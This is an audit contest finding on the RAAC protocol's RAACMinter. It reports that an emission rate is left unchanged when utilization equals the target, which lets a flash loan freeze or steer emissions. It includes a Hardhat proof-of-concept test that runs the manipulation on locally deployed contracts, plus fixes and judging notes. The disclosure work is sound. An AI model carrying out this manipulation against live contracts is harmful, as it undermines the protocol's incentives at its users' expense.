Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Emission Rate can be Manipulated (Locked, Higher or Lower)

Summary

When calculateNewEmissionRate() is called, it only adjusts the emission rate if the utilizationRate is strictly greater than (>) or strictly less than (<) the utilizationTarget. If the utilizationRate equals (==) the target, no change is applied and the function returns the existing emissionRate unchanged.

An attacker can exploit this by manipulating deposits through a flash loan and depositing/withdrawing so that the utilization ratio lines up exactly with the target at the moment of calculation. This effectively freezes the emission rate, preventing normal increases or decreases.

Note that the same root cause can also lead to this same flash loan exploit leading to a) always raising the emissions rate or b) always ensuring the emissions rate is lower. In this bug report, I show the example of the emissions rate always being frozen.

Vulnerability Details

PoC

Step1: Create a test file named EmissionsRateManipulation.test.js in the test directory

Step 2: Paste the contents below into it and run with npx hardhat test test/EmissionsRateManipulation.test.js

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("StabilityPool", function () {
let owner, user1, user2, user3, treasury;
let stabilityPool, lendingPool, raacMinter;
let crvusd, rToken, deToken, raacToken, raacNFT;
let raacHousePrices;
beforeEach(async function () {
[owner, user1, user2, user3, treasury] = await ethers.getSigners();
// Deploy base tokens
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
const RAACToken = await ethers.getContractFactory("RAACToken");
raacToken = await RAACToken.deploy(owner.address, 100, 50);
// Deploy price oracle and set oracle
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
await raacHousePrices.setOracle(owner.address);
// Deploy NFT
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(
crvusd.target,
raacHousePrices.target,
owner.address
);
// Deploy pool tokens
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy(
"RToken",
"RToken",
owner.address,
crvusd.target
);
const DebtToken = await ethers.getContractFactory("DebtToken");
const debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const DEToken = await ethers.getContractFactory("DEToken");
deToken = await DEToken.deploy(
"DEToken",
"DEToken",
owner.address,
rToken.target
);
// Deploy pools
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy(owner.address);
// Deploy RAAC minter
const RAACMinter = await ethers.getContractFactory("RAACMinter");
raacMinter = await RAACMinter.deploy(
raacToken.target,
stabilityPool.target,
lendingPool.target,
owner.address
);
// Setup cross-contract references
await lendingPool.setStabilityPool(stabilityPool.target);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
await deToken.setStabilityPool(stabilityPool.target);
await deToken.transferOwnership(stabilityPool.target);
// Initialize Stability Pool
await stabilityPool.initialize(
rToken.target,
deToken.target,
raacToken.target,
raacMinter.target,
crvusd.target,
lendingPool.target
);
// Setup permissions
await raacToken.setMinter(raacMinter.target);
await raacToken.manageWhitelist(stabilityPool.target, true);
// Mint initial tokens and setup approvals
const initialBalance = ethers.parseEther("1000");
// Mint crvUSD to users
await crvusd.mint(user1.address, initialBalance);
await crvusd.mint(user2.address, initialBalance);
await crvusd.mint(user3.address, initialBalance);
// Approve crvUSD for LendingPool
await crvusd.connect(user1).approve(lendingPool.target, initialBalance);
await crvusd.connect(user2).approve(lendingPool.target, initialBalance);
await crvusd.connect(user3).approve(lendingPool.target, initialBalance);
// Initial deposits to get rTokens
await lendingPool.connect(user1).deposit(initialBalance);
await lendingPool.connect(user2).deposit(initialBalance);
await lendingPool.connect(user3).deposit(initialBalance);
// Approve rTokens for StabilityPool
await rToken.connect(user1).approve(stabilityPool.target, initialBalance);
await rToken.connect(user2).approve(stabilityPool.target, initialBalance);
await rToken.connect(user3).approve(stabilityPool.target, initialBalance);
});
describe.only("PoC: Freezing Emissions When Utilization == Target", function () {
let attacker;
beforeEach(async function () {
// Use one of the existing signers as the attacker (e.g., user3)
attacker = user3;
});
it("allows the attacker to lock the emission rate by forcing utilization == target", async function () {
const mintAmount = ethers.parseEther("1000");
// 1. Simulate flash foan opening
await crvusd.connect(owner).mint(attacker.address, mintAmount);
// 2. Attacker approves lendingPool to spend his crvusd and deposits it.
await crvusd.connect(attacker).approve(lendingPool.target, mintAmount);
await lendingPool.connect(attacker).deposit(mintAmount);
// 3. Attacker receives rToken tokens from his deposit.
const rTokenBalance = await rToken.balanceOf(attacker.address);
// 4. Attacker approves stabilityPool to spend his rToken and deposits them.
await rToken
.connect(attacker)
.approve(stabilityPool.target, rTokenBalance);
await stabilityPool.connect(attacker).deposit(rTokenBalance);
// 5. Record the current emission rate from RAACMinter.
const oldRate = await raacMinter.emissionRate();
console.log("Emission Rate Before tick():", oldRate.toString());
// 6. Attacker calls tick() on RAACMinter.
// The vulnerability is that if utilization exactly equals the target,
// the emission rate should remain unchanged.
await raacMinter.connect(attacker).tick();
// 7. Record the emission rate after tick().
const newRate = await raacMinter.emissionRate();
console.log("Emission Rate After tick():", newRate.toString());
// 8. Verify that the emission rate did not change.
expect(newRate).to.equal(oldRate);
// 9. Cleanup:
// Withdraw the deposited rToken from the StabilityPool.
await stabilityPool.connect(attacker).withdraw(rTokenBalance);
// Withdraw the original crvusd deposit from the LendingPool.
await lendingPool.connect(attacker).withdraw(mintAmount);
// Close out the flash loan
await crvusd.connect(attacker).burn(mintAmount);
});
});
});

npx hardhat test test/EmissionsRateManipulation.test.jsImpact

Locked Emissions: The attacker can prevent adjustments, causing emissions to remain higher or lower than intended.

  • Incentive Disruption: The protocol’s dynamic emission model relies on adjusting rates. If these updates are blocked, the mechanism becomes ineffective.

  • Repeatable Exploit: As shown in the PoC, the attacker can repeatedly force the protocol into the equality scenario, keeping emissions locked indefinitely.

Tools Used

Manual review, Hardhat

Recommendations

  • Implement Flash Loan Protections: Guard against flash loans manipulating the emissions rate calculation. For example, using time‐weighted averages or cooldown periods can prevent a temporary flash loan-induced imbalance from being used to trigger an emission rate change. Additionally, imposing maximum change limits and monitoring for anomalous, flash-loan-like activity can ensure that only sustained changes affect the emission rate.

  • Handle Equality: Modify the logic in calculateNewEmissionRate() to ensure no scenario exists where the emission rate remains unchanged by design. For example, if utilizationRate == utilizationTarget, choose a minor adjustment (e.g., a rounding policy or “nudge” factor) to prevent indefinite stalling.

  • Margin Checks: Set a minimal threshold around the target value—e.g., if the difference is less than some epsilon, handle it as either greater or less for the purpose of adjustments.

  • Guard Rails: Periodically force a re-calculation of emissions that ensures an actual update if the utilization rate hovers around the target for too long.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

RAACMinter::calculateNewEmissionRate doesn't handle utilizationRate == utilizationTarget case, causing emission rates to remain incorrectly adjusted

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

RAACMinter::calculateNewEmissionRate doesn't handle utilizationRate == utilizationTarget case, causing emission rates to remain incorrectly adjusted

Appeal created

anonymousjoe Auditor
7 months ago
inallhonesty Lead Judge
6 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

RAACMinter's utilization rate calculation uses point-in-time values that can be manipulated via flash borrowing/lending, allowing control of emission rates at minimal cost

RAACMinter::calculateNewEmissionRate doesn't handle utilizationRate == utilizationTarget case, causing emission rates to remain incorrectly adjusted

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!